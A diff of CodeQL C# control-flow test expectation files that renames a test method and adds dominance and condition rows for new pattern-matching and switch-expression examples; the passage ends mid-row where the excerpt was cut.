b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1783,11 +1783,11 @@ conditionBlock | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:16:17:16:25 | ... ?? ... | false | | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:17:13:17:24 | ... ?? ... | false | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | false | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:9:9:11:9 | {...} | true | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:12:14:18:9 | if (...) ... | false | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:13:9:15:9 | {...} | false | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:16:14:18:9 | if (...) ... | false | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:17:9:18:9 | {...} | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:9:9:11:9 | {...} | true | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:14:18:9 | if (...) ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:13:9:15:9 | {...} | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:14:18:9 | if (...) ... | false | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:17:9:18:9 | {...} | false | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:13:9:15:9 | {...} | true | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | false | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:17:9:18:9 | {...} | false | @@ -1818,6 +1818,15 @@ conditionBlock | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:35:13:35:20 | default: | false | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:34:17:34:22 | break; | true | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:35:13:35:20 | default: | false | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:25:51:25 | access to parameter c | true | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:34:51:34 | access to parameter c | false | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:22:60:28 | "not 1" | true | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:13:61:13 | _ | false | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:18:61:24 | "other" | false | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | true | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:13:70:13 | 2 | false | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:18:70:27 | "possible" | false | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:13:13:13:19 | return ...; | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:14:9:14:29 | ...; | false | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:20:45:20:53 | nameof(...) | true | @@ -2711,6 +2720,8 @@ conditionFlow | Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | false | | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:25:17:25:52 | ...; | true | | Patterns.cs:24:30:24:35 | ... > ... | Patterns.cs:27:13:27:24 | case ...: | false | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | true | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | false | | PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:13:13:13:19 | return ...; | true | | PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:14:9:14:29 | ...; | false | | PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | true | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 8fe3dbbf796..04ec56a11a4 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -3050,8 +3050,8 @@ dominance | NullCoalescing.cs:17:13:17:19 | (...) ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:9:17:24 | ... = ... | | NullCoalescing.cs:17:19:17:19 | access to parameter i | NullCoalescing.cs:17:13:17:19 | (...) ... | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:6:5:43:5 | {...} | -| Patterns.cs:5:10:5:13 | exit Test (normal) | Patterns.cs:5:10:5:13 | exit Test | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:6:5:43:5 | {...} | +| Patterns.cs:5:10:5:11 | exit M1 (normal) | Patterns.cs:5:10:5:11 | exit M1 | | Patterns.cs:6:5:43:5 | {...} | Patterns.cs:7:9:7:24 | ... ...; | | Patterns.cs:7:9:7:24 | ... ...; | Patterns.cs:7:20:7:23 | null | | Patterns.cs:7:16:7:23 | Object o = ... | Patterns.cs:8:9:18:9 | if (...) ... | @@ -3120,7 +3120,57 @@ dominance | Patterns.cs:36:17:36:52 | ...; | Patterns.cs:36:35:36:50 | "Something else" | | Patterns.cs:36:35:36:50 | "Something else" | Patterns.cs:36:17:36:51 | call to method WriteLine | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:17:40:17 | access to local variable o | -| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:13 | exit Test (normal) | +| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:11 | exit M1 (normal) | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:48:9:48:9 | access to parameter c | +| Patterns.cs:47:24:47:25 | exit M2 (normal) | Patterns.cs:47:24:47:25 | exit M2 | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:48:18:48:20 | a | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:47:24:47:25 | exit M2 (normal) | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:48:9:48:20 | ... is ... | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:48:14:48:20 | not ... | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | exit M3 | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:18:51:21 | null | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 (normal) | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:9:51:21 | ... is ... | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | not ... | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:30:51:30 | 1 | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:30 | ... is ... | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:39:51:39 | 2 | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:34:51:39 | ... is ... | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:54:9:54:9 | access to parameter c | +| Patterns.cs:53:24:53:25 | exit M4 (normal) | Patterns.cs:53:24:53:25 | exit M4 | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:54:18:54:37 | Patterns u | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:53:24:53:25 | exit M4 (normal) | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:54:9:54:37 | ... is ... | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:54:33:54:33 | 1 | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:54:14:54:37 | not ... | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:54:18:54:37 | { ... } | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:54:27:54:35 | { ... } | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:57:5:63:5 | {...} | +| Patterns.cs:56:26:56:27 | exit M5 (normal) | Patterns.cs:56:26:56:27 | exit M5 | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | exit M5 (normal) | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:60:17:60:17 | 1 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:9:62:10 | return ...; | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | not ... | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:24 | ... => ... | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:66:5:72:5 | {...} | +| Patterns.cs:65:26:65:27 | exit M6 (normal) | Patterns.cs:65:26:65:27 | exit M6 | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:67:16:67:16 | 2 | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | exit M6 (normal) | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:9:71:10 | return ...; | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | not ... | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | @@ -6992,9 +7042,9 @@ postDominance | NullCoalescing.cs:17:13:17:19 | (...) ... | NullCoalescing.cs:17:19:17:19 | access to parameter i | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:13:17:19 | (...) ... | | NullCoalescing.cs:17:19:17:19 | access to parameter i | NullCoalescing.cs:17:9:17:25 | ...; | -| Patterns.cs:5:10:5:13 | exit Test | Patterns.cs:5:10:5:13 | exit Test (normal) | -| Patterns.cs:5:10:5:13 | exit Test (normal) | Patterns.cs:40:17:40:17 | access to local variable o | -| Patterns.cs:6:5:43:5 | {...} | Patterns.cs:5:10:5:13 | enter Test | +| Patterns.cs:5:10:5:11 | exit M1 | Patterns.cs:5:10:5:11 | exit M1 (normal) | +| Patterns.cs:5:10:5:11 | exit M1 (normal) | Patterns.cs:40:17:40:17 | access to local variable o | +| Patterns.cs:6:5:43:5 | {...} | Patterns.cs:5:10:5:11 | enter M1 | | Patterns.cs:7:9:7:24 | ... ...; | Patterns.cs:6:5:43:5 | {...} | | Patterns.cs:7:16:7:23 | Object o = ... | Patterns.cs:7:20:7:23 | null | | Patterns.cs:7:20:7:23 | null | Patterns.cs:7:9:7:24 | ... ...; | @@ -7057,6 +7107,56 @@ postDominance | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:37:17:37:22 | break; | | Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:40:9:42:9 | switch (...) {...} | +| Patterns.cs:47:24:47:25 | exit M2 | Patterns.cs:47:24:47:25 | exit M2 (normal) | +| Patterns.cs:47:24:47:25 | exit M2 (normal) | Patterns.cs:48:9:48:20 | ... is ... | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:47:24:47:25 | enter M2 | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:48:14:48:20 | not ... | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:48:18:48:20 | a | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:48:9:48:9 | access to parameter c | +| Patterns.cs:50:24:50:25 | exit M3 | Patterns.cs:50:24:50:25 | exit M3 (normal) | +| Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:14:51:21 | not ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:25:51:30 | ... is ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:34:51:39 | ... is ... | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:18:51:21 | null | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:30:51:30 | 1 | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:51:39:51:39 | 2 | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:53:24:53:25 | exit M4 | Patterns.cs:53:24:53:25 | exit M4 (normal) | +| Patterns.cs:53:24:53:25 | exit M4 (normal) | Patterns.cs:54:9:54:37 | ... is ... | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:53:24:53:25 | enter M4 | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:54:14:54:37 | not ... | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:54:18:54:37 | { ... } | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:54:9:54:9 | access to parameter c | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:54:27:54:35 | { ... } | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:54:33:54:33 | 1 | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:54:18:54:37 | Patterns u | +| Patterns.cs:56:26:56:27 | exit M5 | Patterns.cs:56:26:56:27 | exit M5 (normal) | +| Patterns.cs:56:26:56:27 | exit M5 (normal) | Patterns.cs:58:9:62:10 | return ...; | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:56:26:56:27 | enter M5 | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:57:5:63:5 | {...} | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:13:60:28 | ... => ... | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:13:61:24 | ... => ... | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:17:60:17 | 1 | +| Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:58:16:58:16 | access to parameter i | +| Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:65:26:65:27 | exit M6 | Patterns.cs:65:26:65:27 | exit M6 (normal) | +| Patterns.cs:65:26:65:27 | exit M6 (normal) | Patterns.cs:67:9:71:10 | return ...; | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:67:16:71:9 | ... switch { ... } | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:66:5:72:5 | {...} | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:70:13:70:27 | ... => ... | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:17:69:17 | 2 | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:67:16:67:16 | 2 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:69:13:69:17 | not ... | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | exit M1 (normal) | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:7:9:7:28 | call to method WriteLine | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:5:10:5:11 | enter M1 | @@ -11410,25 +11510,25 @@ blockDominance | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:16:17:16:25 | ... ?? ... | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:5:10:5:13 | enter Test | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:9:9:11:9 | {...} | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:12:14:18:9 | if (...) ... | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:13:9:15:9 | {...} | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:16:14:18:9 | if (...) ... | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:17:9:18:9 | {...} | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:20:9:38:9 | switch (...) {...} | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:23:17:23:22 | break; | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:24:13:24:36 | case ...: | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:24:30:24:31 | access to local variable i2 | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:25:17:25:52 | ...; | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:27:13:27:24 | case ...: | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:28:17:28:47 | ...; | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:30:13:30:27 | case ...: | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:31:17:31:50 | ...; | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:33:13:33:24 | case ...: | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:34:17:34:22 | break; | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:35:13:35:20 | default: | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:40:9:42:9 | switch (...) {...} | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | enter M1 | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:9:9:11:9 | {...} | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:12:14:18:9 | if (...) ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:13:9:15:9 | {...} | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:16:14:18:9 | if (...) ... | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:17:9:18:9 | {...} | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:20:9:38:9 | switch (...) {...} | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:23:17:23:22 | break; | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:24:13:24:36 | case ...: | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:24:30:24:31 | access to local variable i2 | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:25:17:25:52 | ...; | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:27:13:27:24 | case ...: | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:28:17:28:47 | ...; | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:30:13:30:27 | case ...: | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:31:17:31:50 | ...; | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:33:13:33:24 | case ...: | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:34:17:34:22 | break; | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:35:13:35:20 | default: | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:40:9:42:9 | switch (...) {...} | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:14:18:9 | if (...) ... | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:13:9:15:9 | {...} | @@ -11485,6 +11585,31 @@ blockDominance | Patterns.cs:34:17:34:22 | break; | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:35:13:35:20 | default: | Patterns.cs:35:13:35:20 | default: | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:9:42:9 | switch (...) {...} | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | enter M2 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | enter M4 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | enter M5 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | exit M2 (normal) | @@ -14694,13 +14819,13 @@ postBlockDominance | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:15:31:15:31 | 0 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:16:17:16:25 | ... ?? ... | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:5:10:5:13 | enter Test | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:5:10:5:11 | enter M1 | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:14:18:9 | if (...) ... | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:13:9:15:9 | {...} | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:14:18:9 | if (...) ... | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | enter Test | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | enter M1 | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:12:14:18:9 | if (...) ... | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:13:9:15:9 | {...} | @@ -14718,7 +14843,7 @@ postBlockDominance | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:13:33:24 | case ...: | | Patterns.cs:34:17:34:22 | break; | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:35:13:35:20 | default: | Patterns.cs:35:13:35:20 | default: | -| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | enter Test | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | enter M1 | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:9:9:11:9 | {...} | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:12:14:18:9 | if (...) ... | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:13:9:15:9 | {...} | @@ -14737,6 +14862,31 @@ postBlockDominance | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:34:17:34:22 | break; | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:35:13:35:20 | default: | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:9:42:9 | switch (...) {...} | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | enter M2 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | enter M3 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | enter M4 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | enter M5 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | enter M5 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:62:9 | ... switch { ... } | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:13 | _ | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | enter M6 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | | PostDominance.cs:5:10:5:11 | enter M1 | 